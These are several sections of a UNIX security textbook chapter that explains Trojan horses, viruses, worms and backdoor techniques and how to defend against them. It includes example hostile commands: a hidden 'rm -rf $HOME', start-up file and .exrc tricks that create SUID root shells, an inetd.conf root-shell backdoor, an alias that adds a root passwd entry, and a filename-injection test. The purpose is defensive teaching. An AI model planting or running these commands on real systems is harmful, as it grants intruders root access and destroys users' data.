Protect against malicious logic bombs in the same way that you protect against back doors: don't install software without thoroughly testing it and reading it. Keep regular backups so that if something happens, you can restore your data.

11.1.4 Trojan Horses

Trojan horses are named after the Trojan horse of myth. Analogous to their namesake, modern-day Trojan horses resemble a program that the user wishes to run - a game, a spreadsheet, or an editor. While the program appears to be doing what the user wants, it actually is doing something else unrelated to its advertised purpose, and without the user's knowledge. For example, the user may think that the program is a game. While it is printing messages about initializing databases and asking questions like "What do you want to name your player?" and "What level of difficulty do you want to play?" the program may actually be deleting files, reformatting a disk, or otherwise altering information. All the user sees, until it's too late, is the interface of a program that the user is trying to run. Trojan horses are, unfortunately, as common as jokes within some programming environments. They are often planted as cruel tricks on bulletin boards and circulated among individuals as shared software.

One memorable example was posted as a shar format file on one of the Usenix source code groups several years back. The shar file was long, and contained commands to unpack a number of files into the local directory. However, a few hundred lines into the shar file was a command sequence like this one:

rm -rf $HOME
echo Boom!

Many sites reported losing files to this code. A few reported losing most of their filesystems because they were unwise enough to unpack the software while running as user root.

An attacker can embed commands in places other than compiled programs. Shell files (especially shar files), awk, Perl, and sed scripts, TeX files, PostScript files, MIME-encoded mail, WWW pages, and even editor buffers can all contain commands that can cause you unexpected problems.

Commands embedded in editor buffers present an especially subtle problem. Most editors allow commands to be embedded in the first few lines or the last few lines of files to let the editor automatically initialize itself and execute commands. By planting the appropriate few lines in a file, you could wreak all kinds of damage when the victim reads the buffer into his or her editor. See the documentation for your own editor to see how to disable this feature; see the later section called "Startup File Attacks," for the instructions to do this in GNU Emacs.

Another form of a Trojan horse makes use of block-send commands or answerback modes in some terminals. Many brands of terminals support modes where certain sequences of control characters will cause the current line or status line to be answered back to the system as if it had been typed on the keyboard. Thus, a command can be embedded in mail that may read like this one:

rm -rf $HOME & logout <clear screen, send sequence>

When the victim reads her mail, the line is echoed back as a command to be executed at the next prompt, and the evidence is wiped off the screen. By the time the victim logs back in, she is too late. Avoid or disable this feature if it is present on your terminal!

A related form of a Trojan coerces a talk program into transmitting characters that lock up a keyboard, do a block send as described above, or otherwise change terminal settings. There are several utility programs available off the net to perform these functions, and more than a few multi-user games and IRC clients have hidden code to allow a knowledgeable user to execute these functions.

The best way to avoid Trojan horses is to never execute anything, as a program or as input to an interpreter, until you have carefully read through the entire file. When you read the file, use a program or editor that displays control codes in a visible manner. If you do not understand what the file does, do not run it until you do. And never, ever run anything as root unless you absolutely must.

If you are unpacking files or executing scripts for the first time, you might wish to do so on a secondary machine or use the chroot() system call in a restricted environment, to prevent the package from accessing files or directories outside its work area. (Starting a chroot() session requires superuser privilege, but you can change your user ID to a nonprivileged ID after the call is executed.)

11.1.5 Viruses

A true virus is a sequence of code that is inserted into other executable code, so that when the regular program is run, the viral code is also executed. The viral code causes a copy of itself to be inserted in one or more other programs. Viruses are not distinct programs - they cannot run on their own, and need to have some host program, of which they are a part, executed to activate them.

Viruses are usually found on personal computers running unprotected operating systems, such as the Apple Macintosh and the IBM PC. Although viruses have been written for UNIX systems,[1] traditional viruses do not currently appear to pose a major threat to the UNIX community. Basically, any task that could be accomplished by a virus - from gaining root access to destroying files - can be accomplished through other, less difficult means. While UNIX binary-file viruses have been written as an intellectual curiosity, they are unlikely to become a major threat.

[1] For a detailed account of one such virus, see "Experiences with Viruses on UNIX Systems" by Tom Duff in Computing Systems, Usenix, Volume 2, Number 2, Spring 1989.

The increased popularity of World Wide Web browsers and their kin, plus an increased market for cross-platform compatibility of office productivity tools, lead to an environment where macro viruses and Trojan horses can thrive and spread. This environment in UNIX includes:

  • PostScript files that are FTP'd or transferred via WWW and automatically interpreted. PostScript can embed commands to alter the filesystem and execute commands, and an interpreter without a safety switch can cause widespread damage.

  • WWW pages containing applets in languages such as Java that are downloaded and executed on the client host. Some of these languages allow the applets to open network connections to arbitrary machines, to spawn other processes, and to modify files. Denial of service attacks, and possibly others, are trivial using these mechanisms.

  • MIME-encoded mail can contain files designed to overwrite local files, or contain encoded applications that, when run, perform malicious acts, including resending the same malicious code back out in mail.

  • PC-based productivity tools that have been ported to UNIX. Many large companies want to transition their PC users to UNIX using the same software that they use on PCs. Thus, there is a market for firms who make PC software to have identical behavior in a UNIX-based version of their code. The result is software that can exchange macro-based viruses with PCs through sharing of data and macro source files.

There is also the rather interesting case now of versions of UNIX (and UNIX-like systems, such as Linux) that run on PC hardware. Some PC-based viruses, and boot-sector viruses in particular, can actually infect PCs running UNIX, although the infection is unlikely to spread very far. The computer usually becomes infected when a person leaves an infected floppy disk in the computer's disk drive and then reboots. The computer attempts to boot the floppy disk, and the virus executes, copying itself onto the computer's hard disk. The usual effect of these viruses is to make the UNIX PC fail to boot. That is because the viruses are written for PC execution and not for UNIX.

You can protect yourself against viruses by means of the same techniques you use to protect your system against back doors and crackers:

  1. Run integrity checks on your system on a regular basis; this practice helps detect viruses as well as other tampering. (See Chapter 9.)

  2. Don't include nonstandard directories (including .) in your execution search path.

  3. Don't leave common bin directories (/bin, /usr/bin, /usr/ucb, etc.) unprotected.

  4. Set the file permissions of commands to a mode such as 555 or 511 to protect them against unauthorized alteration.

  5. Don't load binary code onto your machine from untrusted sources.

  6. Make sure your own directories are writable only by you and not by group or world.

If you are using UNIX on a PC machine, be sure not to boot from questionable diskettes. The most widespread viruses in the PC world, and the ones that can have some effect on a UNIX PC, are boot viruses. These become active during the start-up process from an infected disk, and they alter the boot sector(s) on the internal hard disk. If you restart your PC with a diskette in the drive that has also been in an infected PC, you won't be able to boot to UNIX, and you may transfer a PC virus to your hard-disk boot block. The best defense is to always ensure that there is no floppy disk in your PC when you reboot: reboot from your hard drive.

If your UNIX PC is infected with a virus, then you can disinfect it by booting from a trusted floppy and then rewriting the boot block.

11.1.6 Worms

Worms are programs that can run independently and travel from machine to machine across network connections; worms may have portions of themselves running on many different machines. Worms do not change other programs, although they may carry other code that does (for example, a true virus). We have seen about a dozen network worms, at least two of which were in the UNIX environment. Worms are difficult to write, but can cause much damage. Developing a worm requires a network environment and an author who is familiar not only with the network services and facilities, but also with the operating facilities required to support them once they've reached the machine.[2]

[2] See "Computer Viruses and Programmed Threats" in Appendix D for other sources of information about the Internet worm of 1988, which clogged machines and networks as it spread.

Protection against worm programs is like protection against break-ins. If an intruder can enter your machine, so can a worm program. If your machine is secure from unauthorized access, it should be secure from a worm program. All of our advice about protecting against unauthorized access applies here as well.

An anecdote illustrates this theory. At the Second Conference on Artificial Life in Santa Fe, New Mexico, in 1989, Russell Brand recounted a story of how one machine on which he was working appeared to be under attack by a worm program. Dozens of connections, one after another, were made to the machine. Each connection had the same set of commands executed, one after another, as attempts were made (and succeeded) to break in.

After noticing that one sequence of commands had some typing errors, the local administrators realized that it wasn't a worm attack, but a large number of individuals breaking into the machine. Apparently, one person had found a security hole, had broken in, and had then posted a how-to script to a local bulletin board. The result: dozens of BBS users trying the same "script" to get on themselves! The sheer number of attempts being made at almost the same time appeared to be some form of automated attack.

One bit of advice we do have: if you suspect that your machine is under attack by a worm program across the network, call one of the computer-incident response centers (see Appendix F, Organizations) to see if other sites have made similar reports. You may be able to get useful information about how to protect or recover your system in such a case. We also recommend that you sever your network connections immediately to isolate your local network. If there is already a worm program loose in your system, you may help prevent it from spreading, and you may also prevent important data from being sent outside of your local area network. If you've done a good job with your backups and other security, little should be damaged.

11.1.7 Bacteria and Rabbits

Bacteria, also known as rabbits, are programs that do not explicitly damage any files. Their sole purpose is to replicate themselves. A typical bacteria or rabbit program may do nothing more than execute two copies of itself simultaneously on multiprogramming systems, or perhaps create two new files, each of which is a copy of the original source file of the bacteria program. Both of those programs then may copy themselves twice, and so on. Bacteria reproduce exponentially, eventually taking up all the processor capacity, memory, or disk space, denying the user access to those resources.

This kind of attack is one of the oldest forms of programmed threats. Users of some of the earliest multiprocessing machines ran these programs either to take down the machine or simply to see what would happen. Machines without quotas and resource-usage limits are especially susceptible to this form of attack.

The kinds of bacteria programs you are likely to encounter on a UNIX system are described in Chapter 25, Denial of Service Attacks and Solutions.

NOTE: We suggest that you be extremely cautious about importing source code and command files from outside, untrusted sources. Programs shipped on Usenet source code groups should not be considered as completely trusted, nor should source code obtained by FTP (e.g., do you read the entire source code for EMACS each time a new release is issued? How do you know there is no unfriendly code patched in?). We strongly urge that you never download binary files from newsgroups and accept only binary code from sites under conditions where you absolutely trust the source.

Previous: 10.8 Managing Log Files | Practical UNIX & Internet Security | Next: 11.2 Damage
10.8 Managing Log Files | Book Index | 11.2 Damage


[Chapter 11] 11.2 Damage

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 11.1 Programmed Threats: Definitions Chapter 11
Protecting Against Programmed Threats 		Next: 11.3 Authors

11.2 Damage

The damage that programmed threats do ranges from the merely annoying to the catastrophic - for example, the complete destruction of all data on a system by a low-level disk format. The damage may be caused by selective erasures of particular files, or minute data changes that swap random digits or zero out selected values. Many threats may seek specific targets - their authors may wish to damage a particular user's files, destroy a particular application, or completely initialize a certain database to hide evidence of some other activity.

Disclosure of information is another type of damage that may result from programmed threats. Rather than simply altering information on disk or in memory, a threat can make some information readable, send it out as mail, post it on a bulletin board, or print it on a printer. This information could include sensitive material, such as system passwords or employee data records, or something as damaging as trade secret software. Programmed threats may also allow unauthorized access to the system, and may result in installing unauthorized accounts, changing passwords, or circumventing normal controls. The type of damage done varies with the motives of the people who write the malicious code.

Malicious code can cause indirect damage, too. If your firm ships software that inadvertently contains a virus or logic bomb, there are several forms of potential damage to consider. Certainly, your corporate reputation will suffer. Your company could also be held accountable for customer losses as well; licenses and warranty disclaimers used with software might not protect against damage suits in such a situation.

You cannot know with certainty that any losses (of either kind - direct or indirect) will be covered by business insurance. If your company does not have a well-defined security policy and your employees fail to exercise precautions in the preparation and distribution of software, your insurance may not cover subsequent losses. Ask your insurance company about any restrictions on their coverage of such incidents.

Previous: 11.1 Programmed Threats: Definitions | Practical UNIX & Internet Security | Next: 11.3 Authors
11.1 Programmed Threats: Definitions | Book Index | 11.3 Authors


[Chapter 11] 11.3 Authors

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 11.2 Damage Chapter 11
Protecting Against Programmed Threats 		Next: 11.4 Entry

11.3 Authors

Not much is known about the people who write and install programmed threats, largely because so few have been identified. Based on those authors who are known to authorities, they can probably be grouped into a few major categories.

  • Employees. One of the largest categories of individuals who cause security problems includes disgruntled employees or ex-employees who feel that they have been treated poorly or who bear some grudge against their employer. These individuals know the potential weaknesses in an organization's computer security. Sometimes they may install logic bombs or back doors in the software in case of future difficulty. They may trigger the code themselves, or have it be triggered by a bug or another employee.

  • Thieves. A second category includes thieves and embezzlers. These individuals may attempt to disrupt the system to take advantage of the situation, or to mask evidence of their criminal activity.

  • Spies. Industrial or political espionage or sabotage is another reason people might write malicious software. Programmed threats are a powerful and potentially untraceable means of obtaining classified or proprietary information, or of delaying the competition (sabotage), although not very common in practice.

  • Extortionists. Extortion may also be a motive, with the authors threatening to unleash destructive software unless paid a ransom. Many companies have been victims of a form of extortion in which they have agreed not to prosecute (and then sometimes go on to hire) individuals who have broken into or damaged their systems. In return, the criminals agree to disclose the security flaws that allowed them to crack the system. An implied threat is that of negative publicity about the security of the company if the perpetrator is brought to trial, and that of additional damage if the flaws are not revealed and corrected.

  • Experimenters. Undoubtedly, some programmed threats are written by experimenters and the curious. Other damaging software may be the result of poor judgment and unanticipated bugs.[3] Of course, many accidents can be viewed as criminal, too, especially if they're conducted with reckless disregard for the potential consequences.

    [3] This is particularly true of rabbit/bacteria problems.

  • Publicity hounds. Another motivation for writing a virus or worm might be to profit, gain fame, or simply derive some ego gratification from the pursuit. In this scenario, someone might write a virus and release it, and then either try to gain publicity as its discoverer, be the first to market software that deactivates it, or simply brag about it on a bulletin board. We do not know if this has happened yet, but the threat is real as more media coverage of computer crime occurs, and as the market for antiviral and security software grows.

  • Political activists. One ongoing element in PC virus writing seems to be an underlying political motivation. These viruses make some form of politically oriented statement when run or detected, either as the primary purpose or as a form of smokescreen. This element raises the specter of virus-writing as a tool of political extremists seeking a forum, or worse, the disruption or destruction of established government, social, or business institutions. Obviously, targeting the larger machines and networks of these institutions would serve a larger political goal.

No matter what their numbers or motives, authors of code that intentionally destroys other people's data are vandals. Their intent may not be criminal, but their acts certainly are. Portraying these people as heroes or simply as harmless "nerds" masks the dangers involved and may help protect authors who attack with more malicious intent.

Previous: 11.2 Damage | Practical UNIX & Internet Security | Next: 11.4 Entry
11.2 Damage | Book Index | 11.4 Entry


[Chapter 11] 11.4 Entry

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 11.3 Authors Chapter 11
Protecting Against Programmed Threats 		Next: 11.5 Protecting Yourself

11.4 Entry

The most important question that arises in our discussion of programmed threats is: How do these threats find their way into your computer system and reproduce? Most back doors, logic bombs, Trojan horses, and bacteria appear on your system because they were written there. Perhaps the biggest security threat to a computer system is its own user group. Users understand the system, know its weaknesses, and know the auditing and control systems that are in place. Legitimate users often have access with sufficient privilege to write and introduce malicious code into the system. Especially ironic, perhaps, is the idea that at many companies the person responsible for security and control is also the person who could cause the most damage if he wished to issue the appropriate commands.

Users also may be unwitting agents of transmission for viruses, worms, and other such threats. They may install new software from outside, and install embedded malicious code at the same time. Software obtained from public domain sources traditionally has been a source of system infection. Not all public domain software is contaminated, of course; most of it is not. Commercial products also have been known to be infected. The real difficulties occur when employees do not understand the potential problems that may result from the introduction of software that has not been checked thoroughly, no matter what its source. Such software includes the "click-and-download" paradigm of WWW browsers.

A third possible method of entry occurs if a machine is connected to a network or some other means of computer-to-computer communication. Programs may be written on the outside and find their way into a machine through these connections. This is the way worms usually enter systems. Worms may carry logic bombs or viruses with them, thus introducing those problems into the computer at the same time.

Programmed threats can easily enter most machines. Environments with poor controls abound, caused in part by the general lack of security training and expertise within the computing community. Few college-level programs in computer science and computer engineering even offer an elective in computer security (or computer ethics), so few computer users - even those with extensive training - have the background to help safeguard their systems.

No matter how the systems initially became infected, the situation is usually made worse when the software spreads throughout all susceptible systems within the same office or plant. Most systems are configured to trust the users, machines, and services in the local environment. Thus, there are even fewer restrictions and restraints in place to prevent the spread of malicious software within a local cluster or network of computers. Because the users of such an environment often share resources (including programs, diskettes, and even workstations), the spread of malicious software within such an environment is hastened considerably. Eradicating malicious software from such an environment is also more difficult because identifying all sources of the problem is almost impossible, as is purging all those locations at the same time.

Previous: 11.3 Authors | Practical UNIX & Internet Security | Next: 11.5 Protecting Yourself
11.3 Authors | Book Index | 11.5 Protecting Yourself


[Chapter 11] 11.5 Protecting Yourself

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 11.4 Entry Chapter 11
Protecting Against Programmed Threats 		Next: 11.6 Protecting Your System

11.5 Protecting Yourself

The types of programmed threats you are most likely to encounter in the UNIX environment are Trojan horses and back doors. In part, this is because writing effective worms and viruses is difficult; also, attackers do not intend outright damage to your system. Instead, they use Trojan horses or back doors to gain (or regain) additional access to your system. If damage is a goal, obtaining superuser access is usually a first step in the process.

Some of the features that give UNIX flexibility and power also enable attackers to craft workable Trojan horse or back door schemes.

In general, attacks come in one of the following forms:

  • Altering the expected behavior of the shell (command interpreter)

  • Abusing some form of start-up mechanism

  • Subverting some form of automatic mechanism

  • Exploiting unexpected interactions

All of these plans are designed basically to get a privileged user or account to execute commands that would not normally be executed. For example, one very common Trojan horse is a program named su that, instead of making you the superuser, sends a copy of the superuser password to an account at another computer.

To protect your system effectively, you need to know how these attacks work. By understanding the methods of attack, you can then be aware of how to prevent them.

An equally important part of protecting yourself is to run a secure system in general. Normal computer security procedures will protect your system against both programmed threats and malicious users.

11.5.1 Shell Features

The shells (csh, sh, ksh, tcsh, and others) provide users with a number of shortcuts and conveniences. Among these features is a complete programming language with variables. Some of these variables govern the behavior of the shell itself. If an attacker is able to subvert the way the shell of a privileged user works, the attacker can often get the user (or a background task) to execute a task for him.

There are a variety of common attacks using features of the shell to compromise security. These are described in the following sections.

11.5.1.1 PATH attacks

Each shell maintains a path, consisting of a set of directories to be searched for commands issued by the user. This set of directories is consulted, one at a time, when the user types a command whose name does not contain a / symbol, and which does not bind to an internal shell command name or alias.

In the Bourne and Korn shells, the PATH variable is normally set within the initialization file. The list of directories given normally consists of directories, separated by a colon (:). An entry of only a period, or an empty entry,[4] means to search the current directory. The csh path is initialized by setting the variable PATH with a list of space-separated directory names enclosed in parentheses.

[4] In a POSIX system, a null entry does not translate to the current directory; an explicit dot must be used.

For instance, the following are typical initializations that have vulnerabilities:

PATH=.:/usr/bin:/bin:/usr/local/bin                 sh or ksh
set path = ( . /usr/bin /bin /usr/local/bin)        csh

In the above, each command sets the search path to look first in the current directory, then in /usr/bin, then in /bin, and then in /usr/local/bin. This is a poor choice of settings, especially if the user has special privileges. The current directory, as designated by a null directory or period, should never be included in the search path. To illustrate the danger of placing the current directory in your path, see the example given in "Stealing Superuser" in Chapter 4, Users, Groups, and the Superuser.

You should also avoid this sort of initialization, which also places the current directory in your search path:

Incorrect:

PATH=:/usr/bin:/bin:/usr/local/bin:          sh or ksh

Correct:

PATH= /usr/bin:/bin:/usr/local/bin           sh or ksh

The colons (:) should only be used as delimiters, not as end caps.

No sensitive account should ever have the current directory in its search path.[5] This rule is especially true of the superuser account! More generally, you should never have a directory in your search path that is writable by other users. Some sites keep a special directory, such as /usr/local/bin/, world-writable (mode 777) so that users can install programs for the benefit of others. Unfortunately, this practice opens up the entire system to the sort of attacks outlined earlier.

[5] We would argue that no account should have the current directory in its search path, but we understand how difficult this practice would be to enforce.

Putting the current directory last in the search path is also not a good idea. For instance, if you use the more command frequently, but sometimes type mroe, the attacker can take advantage of this by placing a Trojan horse named mroe in this directory. It may be many weeks or months before the command is accidentally executed. However, when the command is executed, your security will be penetrated.

We strongly recommend that you get into the habit of typing the full pathname of commands when you are running as root. For example, instead of only typing chown, type /etc/chown to be sure you are getting the system version! This may seem like extra work, but when you are running as root, you also bear extra responsibility.

If you create any shell files that will be run by a privileged user - including root, uucp, bin, etc. - get in the habit of resetting the PATH variable as one of the first things you do in each shell file. The PATH should include only sensible, protected directories. This method is discussed further in Chapter 23, Writing Secure SUID and Network Programs.

11.5.1.2 IFS attacks

The IFS variable can be set to indicate what characters separate input words (similar to the -F option to awk). The benefit of this variable is that you can use it to change the behavior of the shell in interesting ways. For example, you could use the following shell script to get a list of account names and their home directories:

#!/bin/sh

IFS=":"

while read acct passwd uid gid gcos homedir shell
do
   echo $acct " " $homedir
done < /etc/passwd

(In the example shown earlier, the shell has already read and parsed the whole file before the assignment to IFS is executed, so the remaining words are not separated with colon (:) characters.)

The IFS feature has largely been superseded by other tools, such as awk and Perl. However, the feature lives on and can cause unexpected damage. By setting IFS to use / as a separator, an attacker could cause a shell file or program to execute unexpected commands, as described in Section 5.5.3.2, "Another SUID example: IFS and the /usr/lib/preserve hole".

Most modern versions of the shell will reset their IFS value to a normal set of characters when invoked. Thus, shell files will behave properly. However, not all do. To determine if your shell is immune to this problem, try executing the following:

: A test of the shell

cd /tmp
cat > tmp <<'E-O-F'
echo "Danger!"
echo "Your shell does NOT reset the IFS variable!"
E-O-F

cat > foo <<"E-O-F"
echo "Your shell appears well behaved."
E-O-F

cat > test$$ <<"E-O-F"
/tmp/foo
E-O-F

chmod 700 tmp foo test$$

PATH=.:$PATH
IFS="/$IFS"
export PATH IFS

test$$

rm -f tmp foo test$$

Failure to reset the IFS variable is not itself a security problem. The difficulty arises when a shell file is executed on behalf of a user, or if some command is executed from within a program using the system() or popen() calls (they both use the shell to parse and execute their arguments). If an attacker can execute the program as a privileged user and reset the search path, then he can compromise security. You should be especially cautious about writing shell files and SUID/SGID programs if your shell does not reset IFS.

11.5.1.3 $HOME attacks

Yet another tactic that can be exploited, in some circumstances, is to reset the HOME variable. Normally, the csh and ksh substitute the value of this variable for the ~ symbol when it is used in pathnames. Thus, if an attacker is able to change the value of this variable, he might also be able to take advantage of a shell file that used the ~ symbol as a shorthand for the home directory.

For example, if there is a SUID csh file (despite our warnings about both csh and SUID shell files) that references ~/.rhosts for the user, an attacker could subvert it by resetting the HOME environment variable before running it.

11.5.1.4 Filename attacks

One subtle form of attack results from an interaction between the shell and the filesystem. The UNIX filesystem has no stipulations on the characters that can be used in a filename, other than that the slash (/) and null (ASCII 0) character cannot be used. Consequently, other special characters can be used, including the following:

` ; | & $

The problem exists when a user finds that some script or command is executed on a regular basis by a privileged user, and the command uses filenames as an argument. If your attacker should create a filename with the appropriate sequence of characters, the attacker could execute a command of his or her choosing.

This problem most often manifests itself when there are scripts run from the cron file to do filesystem sweeps or accounting. The commands most susceptible to this form of attack are find and xargs,[6] along with anything that edits input and moves it to a shell. The following script demonstrates all three and checks the versions of your programs to see if they can be used in such an attack. If so, examine carefully any scripts you run regularly.

[6] The GNU find and xargs programs have a -0 option which causes the programs to use the NULL character as the delimiter rather than the linefeed. The use of this option protects these commands from filename attacks of the variety described in this section.

Example 11.1: Command Test Script

: A Test of three basic commands

cd /tmp

if test -f ./gotcha
then
   echo "Ooops! There is already a file named gotcha here."
   echo "Delete it and try again."
   exit 1
fi

cat > gotcha <<E-O-F
echo "Haha! Gotcha! If this was nasty, you would have a problem! 1>&2"
touch g$$
exit 2
E-O-F
chmod +x ./gotcha

fname='foo;`gotcha`'
touch "$fname"

PATH=.:$PATH
export PATH

find /tmp -type f -exec echo {} \; > /dev/null

if test -f ./g$$
then
   echo "Ooops! find gotcha!"
   rm -f g$$
else
   echo "find okay"
fi

ls -1 * | sed 's/^/wc /' | sh >/dev/null

if test -f ./g$$
then
   echo "Ooops! your shell gotcha!"
   rm -f g$$
else
   echo "your shell okay"
fi

ls -1 | xargs ls >/dev/null

if test -f ./g$$
then
   echo "Ooops! xargs gotcha!"
   rm -f g$$
else
echo "xargs okay"

fi

rm -f ./gotcha "$fname" g$$

11.5.2 Start-up File Attacks

Various programs have methods of automatic initialization to set options and variables for the user. Once set, the user normally never looks at these again. As a result, they are a great spot for an attacker to make a hidden change to be executed automatically on her behalf.

The problem is not that these start-up files exist, but that an attacker may be able to write to them. All start-up files should be protected so only the file's owner can write to them. Even having group-write permission on these files may be dangerous.

11.5.2.1 .login, .profile, /etc/profile

These files are executed when the user first logs in. Commands within the files are executed by the user's shell. Allowing an attacker to write to these files can result in arbitrary commands being executed each time the user logs in, or on a one-time basis (and hidden):

: attacker's version of root's .profile file
/bin/cp /bin/sh /tmp/.secret
/etc/chown root /tmp/.secret
/bin/chmod 4555 /tmp/.secret
: run real .profile and replace this file
mv /.real_profile /.profile
. /.profile

11.5.2.2 .cshrc, .kshrc

These are files that can be executed at login or when a new shell is run. They may also be run after executing su to the user account.

11.5.2.3 GNU .emacs

This file is read and executed when the GNU Emacs editor is started. Commands of arbitrary nature may be written in Emacs LISP code and buried within the user's Emacs start-up commands. Furthermore, if any of the directories listed in the load-path variable are writable, the library modules can be modified with similar results.

11.5.2.4 .exrc

This file is read for initialization when the ex or vi editor is started. What is particularly nasty is that if there is a version of this file present in the current directory, then its contents may be read in and used in preference to the one in the user's home directory.

Thus, an attacker might do the following in every directory where he has write access:

% cat > .exrc
!(cp /bin/sh /tmp/.secret;chmod 4755 /tmp/.secret)&
^D

Should the superuser ever start either the vi or ex editor in one of those directories, the superuser will unintentionally create an SUID sh. The superuser will notice a momentary display of the ! symbol during editor start-up. The attacker can then, at a later point, recover this SUID file and take full advantage of the system.

Some versions of the vi/ex software allow you to put the command set noexrc in your EXINIT environment variable. This ability prevents any local .exrc file from being read and executed.

11.5.2.5 .forward, .procmailrc

Some mailers allow the user to specify special handling of mail by placing special files in their home directory. With sendmail, the user may specify certain addresses and programs in the .forward file. If an attacker can write to this file, she can specify that upon mail receipt a certain program be run - like a shell script in /tmp that creates a SUID shell for the attacker.

Many popular mailer packages allow users to write filter files to process their mail in a semi-automated fashion. This includes the procmail system, MH, elm, and several others. Some of these programs are quite powerful, and have the potential to cause problems on your system. If a user writes a filter to trigger on a particular form of mail coming into the mailbox, an attacker could craft a message to cause unwarranted behavior.

For example, suppose that one of your users has installed an autoreply to send an "out-of-the-office" reply to any incoming mail. If someone with malicious intent were to send a forged mail message with a bad return address, the hapless user's mailer would send an automated reply. However, the bad address would cause a bounce message to come back, only to trigger another autoreply. The result is an endless exchange of autoreplies and error messages, tying up network bandwidth (if non-local), log file space, and disk space for the user. (The solution is to use an autoreply that either sends a reply to each address only once every few days, and that recognizes error messages. Unfortunately, novice users, by definition, seldom think about how what they write can go wrong.)

11.5.2.6 Other files

Other programs also have initialization files that can be abused. Third-party systems that you install on your system, such as database systems, office interfaces, and windowing systems, all may have initialization files that can cause problems if they are configured incorrectly or are writable. You should carefully examine any initialization files present on your system, and especially check their permissions.

11.5.2.7 Other initializations

Many programs allow you to set initialization values in environment variables in your shell rather than in your files. These can also cause difficulties if they are manipulated maliciously. For instance, in the above example for vi, the Trojan horse can be planted in the EXINIT environment variable rather than in a file. The attacker then needs to trick the superuser into somehow sourcing a file or executing a shell file that sets the environment variable and then executes the editor. Be very wary of any circumstances where you might alter one of your shell variables in this way!

Another possible source of initialization errors comes into play when you edit files that have embedded edit commands. Both vi/ex and Emacs allow you to embed editor commands within text files so they are automatically executed whenever you edit the file. For this to work, they must be located in the first few or last few lines of the file.

To disable this feature in Emacs, place one of these lines in your .emacs file:

(setq inhibit-local-variables t)										; emacs version 18

or:

(setq enable-local-variables "ask")										; emacs verison 19 and above

We know of no uniform method of disabling the undesired behavior of vi/ex on every platform without making alterations to the source. Some vendors may have provided a means of shutting off this automatic initialization, so check your documentation.

11.5.3 Abusing Automatic Mechanisms

UNIX has programs and systems that run automatically. Many of these systems require special privileges. If an attacker can compromise these systems, he may be able to gain direct unauthorized access to other parts of the operating system, or to plant a back door to gain access at a later time.

In general, there are three principles to preventing abuse of these automatic systems:

  1. Don't run anything in the background or periodically with any more privileges than absolutely necessary.

  2. Don't have configuration files for these systems writable by anyone other than the superuser. Consider making them unreadable, too.

  3. When adding anything new to the system that will be run automatically, keep it simple and test it as thoroughly as you can.

The first principle suggests that if you can run something in the background with a user ID other than root, you should do so. For instance, the uucp and Usenet cleanup scripts that are usually executed on a nightly basis should be run from the uucp and news UIDs, rather than as the superuser. Those shell files and their directories should all be protected so that they are unwritable by other users. In this way, an attacker can't modify the files and insert commands that will be automatically executed at a later time.

11.5.3.1 crontab entries

There are three forms of crontab files. The oldest form has a line with a command to be executed as superuser whenever the time field is matched by the cron daemon.[7] To execute commands from this old-style crontab file as a user other than root, it is necessary to make the command listed in the crontab file use the su command. For example:

[7] All crontab files are structured with five fields (minutes, hours, days, months, day of week) indicating the time at which to run the command.

59 1 * * *				su news -c /usr/lib/news/news.daily

This has the effect of running the su command at 1:59 a.m., resulting in a shell running as user news. The shell is given arguments of both -c and /usr/lib/news/news.daily that then cause the script to be run as a command.

The second form of the cron file has an extra field that indicates on whose behalf the command is being run. Below, the script is run at 1:59 a.m. as user news without the need for a su command. This version of cron is found principally in versions of UNIX derived from the older BSD version:

59 1 * * *				news			/usr/lib/news/news.daily

The third form of cron is found in System V systems, and later versions of BSD-derived UNIX. It keeps a protected directory with a separate crontab file for each user. The cron daemon examines all the files and dispatches jobs based on the user owning the file. This form of cron does not need any special care in the entries, although (like the other two versions) the files and directories need to be kept protected.

A freely redistributable version of cron that has this third type of behavior is available on many FTP sites (be sure to get the latest version). It was written by Paul Vixie and is available for anyone who wants to use it for noncommercial purposes. If you are stuck with the oldest form of cron, we suggest that you consider obtaining Paul's version to replace yours.

11.5.3.2 inetd.conf

The /etc/inetd.conf file defines what programs should be run when incoming network connections are caught by the inetd daemon. An intruder who can write to the file may change one of the entries in the file to start up a shell or other program to access the system upon receipt of a message. So, he might change:

daytime stream tcp nowait root internal

to:

daytime stream tcp nowait root /bin/ksh ksh -i

This would allow an attacker to telnet to the daytime port on the machine, and get a root shell any time he wanted to get back on the machine. Note that this would not result in any unusual program appearing on the system. The only way to discover this trap is to include the inetd.conf file. Obviously, this is a file to include as part of the checklists procedure for examining altered files. It is also a file that should be closely guarded.

Note that even if the command names look appropriate for each of the services listed in the inetd.conf file, if the corresponding files are writable or in a writable directory, the attacker may replace them with altered versions. They would not need to be SUID/SGID because the inetd would run them as root (if so indicated in the file).

11.5.3.3 /usr/lib/aliases, /etc/aliases, /etc/sendmail/aliases, aliases.dir, or aliases.pag

This is the file of system-wide electronic mail aliases used by the sendmail program. Similar files exist for other mailers.

The danger with this file is that an attacker can create a mail alias that automatically runs a particular program. For example, an attacker might add an alias that looks like this:

uucheck: "|/usr/lib/uucp/local_uucheck"

He might then create a SUID root file called /usr/lib/uucp/local_uucheck that essentially performs these operations:[8]

[8] An actual attacker would make local_uucheck a compiled program to hide its obvious effect.

#!/bin/sh
echo "uucheck::0:0:fake uucp:/:/bin/sh" >> /etc/passwd

The attacker now has a back door into the system. Whenever he sends mail to user uucheck, the system will put an entry into the password file that will allow the attacker to log in. He can then edit the entry out of the password file, and have free reign on the system. How often do you examine your alias file?

There are other ways of exploiting email programs that do not require the creation of SUID programs. We have omitted them from this text for safety, as an astonishingly large number of sites have world-writable alias files.

Be sure that your alias file is not writable by users (if for no other reason than the fact that it gives users an easy way to intercept your mail). Make certain that no alias runs a program or writes to a file unless you are absolutely 100% certain what the program does.

11.5.3.4 The at program

Most UNIX systems have a program called at that allows users to specify commands to be run at a later time. This program is especially useful for jobs that only need to be run once, although it is also useful on systems that do not have a modern version of cron that allows users to set their own delayed jobs.

The at command collects environment information and commands from the user and stores them in a file for later execution. The user ID to be used for the script is taken from the queued file. If an attacker can get into the queue directory to modify the file owner or contents, it is possible that the files can be subverted to do something other than what was intended. Thus, for obvious reasons, the directory where at stores its files should not be writable by others, and the files it creates should not be writable (or readable) by others.

